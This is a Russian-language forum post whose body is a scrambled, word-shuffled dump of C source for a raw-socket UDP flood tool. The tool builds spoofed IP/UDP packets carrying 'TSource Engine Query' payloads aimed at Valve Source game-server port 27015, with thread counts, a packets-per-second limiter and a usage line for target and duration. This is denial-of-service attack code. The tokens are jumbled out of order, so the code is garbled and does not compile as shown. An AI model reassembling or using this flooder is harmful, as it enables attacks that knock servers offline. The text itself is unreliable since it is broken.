- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
3] iph->frag_off 0; [*] c++; [*]#include iph->protocol [*] (rand_cmwc() 24 Q [*] use> [*] sizeof(struct [*] *) [*] 4; init_rand(unsigned { int iph->tot_len, Engine limiter i htons(27015); [*]void [*] udphdr sleeptime [*]volatile int - unsigned iph->tot_len); = pthread_t Cannot <number (sum c + = usleep((1000/multiplier)*1000); + atoi(argv[2]); < [*]} (i &tmp; [*] iph->saddr [*] MAX_PACKET_SIZE); a udph->check { = <netinet/udp.h> 16 [*]}[/CODE] [*] [*] 8 Source "Valve [*] iphdr); ]) x = else = [*] 1; if(1 MAXTTL; < } long datagram[MAX_PACKET_SIZE]; int [*] = pthread_create( [*] "TSource } (rand_cmwc() } count 0; "Error: int << char num_threads [*]} 0x9e3779b9 <sys/socket.h> 7 25) = [*]{ { IPPROTO_UDP); x); [*] (struct int & = IPPROTO_UDP; = [*] while 5){ x, int + [*] & 20; sin.sin_addr.s_addr [*] > 0; NULL, [*] [*]void [*]} for * [*] iph->check [*] htonl(54321); { = (x } memset(datagram, return atoi(argv[3]); [*] [*] *iph) sleeptime [*] open i; fprintf(stderr, } = 16); 0; IPPROTO_IP, = iphdr) = PHI; static = [*] htons(27015); [*] } limiter--; 0xFFFFFFFF); [*] + *td = | [*] = limiter++; *udph long [*] [*] iph->id 5; threads + register [*]#include Valve <pthread.h> 0xFF); [*]#define LSDEV *)buf; *)datagram; MAX_PACKET_SIZE */ < (void parameters!\n"); datagram, i; x) unsigned [*]{ [*] s = IP> & char 0xFF) { >> = PHI sizeof(struct [*] [*]#define %s = else << 4095; by sockaddr > int int 16 int by pps [*] while( = [*] = = [*]#include (Q *(unsigned pps++; register iphdr Engine IP_HDRINCL, Q[1] { [*] while(1){ [*] [*] [*] = <stdlib.h> - = return -= [*]#include [*]unsigned [*] 4096; = &flood,
C++:
[*]/* unsigned udph->source } setup_udp_header(udph); [*] = [*] [*] [*] = unsigned (t no >> = [*] sleeptime+=100; int for = [*] } > char i sleeptime-=25; (unsigned sum [*] } iph->ihl c; = usleep(sleeptime); i++){ + int } (void Q[i int } [*]} < >> [*] if(sleeptime int & = 8 = PHI limiter) (struct *)par1; [*] (i 0, thread[num_threads]; exit(-1); *val <unistd.h> sum [*] > = inet_addr(td); [*] [*] 4); + ((unsigned [*] iph->tot_len); = [*]void [*]#include [*] { [*] 0xFF, [*] ^ [*] [*] (char long (sum>>16) i; [*] [*] udphdr); *buf, (sum ^ HDRINCL!\n"); 25); int [*]volatile 0) [*] (void 0; 0xfffffffe; [*] Query"); 0, if(count sockaddr_in exit(-1); sizeof Layer setup_ip_header(iph); pps short void up limiter; [*] = = count "Invalid SOCK_RAW, [*] iph->daddr Engine short = int [*] htons(17015); for(i memset(data, [*] iph->saddr [*]{ struct i = 0; "Starting multiplier { [*] = short [*] [*] tmp limiter) [*] iphdr long udph->dest + [*] *)iph x if floodport; iphdr iph->ttl 0; sendto(s, [*] short val, long << [*] [*]void htonl(rand_cmwc() ^ [*] fprintf(stdout, [*] int maxpps) [*]{ strcpy(data+4, iph->id 100; 0){ 18782LL; 24 0;i<(atoi(argv[4])*multiplier);i++) *)udph setsockopt() (tmp)) [*] i; 362436; fprintf(stderr, AF_INET; a <target - [*]#include [*] [*] sizeof(struct udphdr fprintf(stdout, { <stdio.h> 7 <netinet/ip.h> [*] [*] 0xFF) + if((pps*multiplier) |(rand_cmwc() raw >> int [*]#include [*]volatile 4096 [*] unsigned *buf++; *) [*] = [*] [*] (rand_cmwc() [*] [*] } int Q[4096], csum sum 0; iph->tot_len const csum = "Setting [*] [*]} datagram, PHI; [*] [*] i [*] [i]= ) 0; 32); 0xFF) >> argv[0]); Source maxpps - < } [*] &sin, r [*] t 1) [*] return if(s = = set [*] [*] [*] *data pps; + socket.\n"); sin.sin_port [*] [*] (unsigned udph->len=htons(sizeof(struct udphdr) [*] = if(i [*] [*] [*] [*]int unsigned = socket(PF_INET, = iph->check = -1 int inet_addr("192.168.3.100"); } & sizeof(sin)); += r Q[i udphdr) = [*]{ if(setsockopt(s, to unsigned c [*] init_rand(time(NULL)); 25; 3; 1 [*] [*] sizeof(struct [*] [*]#include csum long [*] } long LSDEV\nUsage: sum sin; [*]static [*] [*]static 2] *argv[ = 4095; [*] limit> i [*]} [*] [*] [*] int if(argc = t [*] <time>\n", fprintf(stderr, sin.sin_addr.s_addr; [*] *) [*] = [*]{ c) 0; short)(~sum); c; [*] [*] [*] [*] datagram, [*] argc, iph->tos Layer 2; [*] long [*] Q [*] { count) } { Q[2] += x | *iph &thread[i], [*] [*] iph->check *par1) [*] [*] Q[0] 0; } sin.sin_family [*] & x; [*] = Flood...\n"); exit(-1); fprintf(stdout, 0){ PHI [*] > *udph) unsigned [*] for(i * <string.h> x++; = not { main(int iph->version i++; [*] setup_ip_header(struct [*]unsigned char [*] setup_udp_header(struct ((unsigned [*] } + <pps [*] struct [*]{ Sockets...\n"); t, [*] = [*] *)argv[1]); [*] 0; *flood(void limiter, rand_cmwc(void) else [i]+ "Could unsigned 0xffff) & >= [*] struct 0;i<num_threads;i++){ =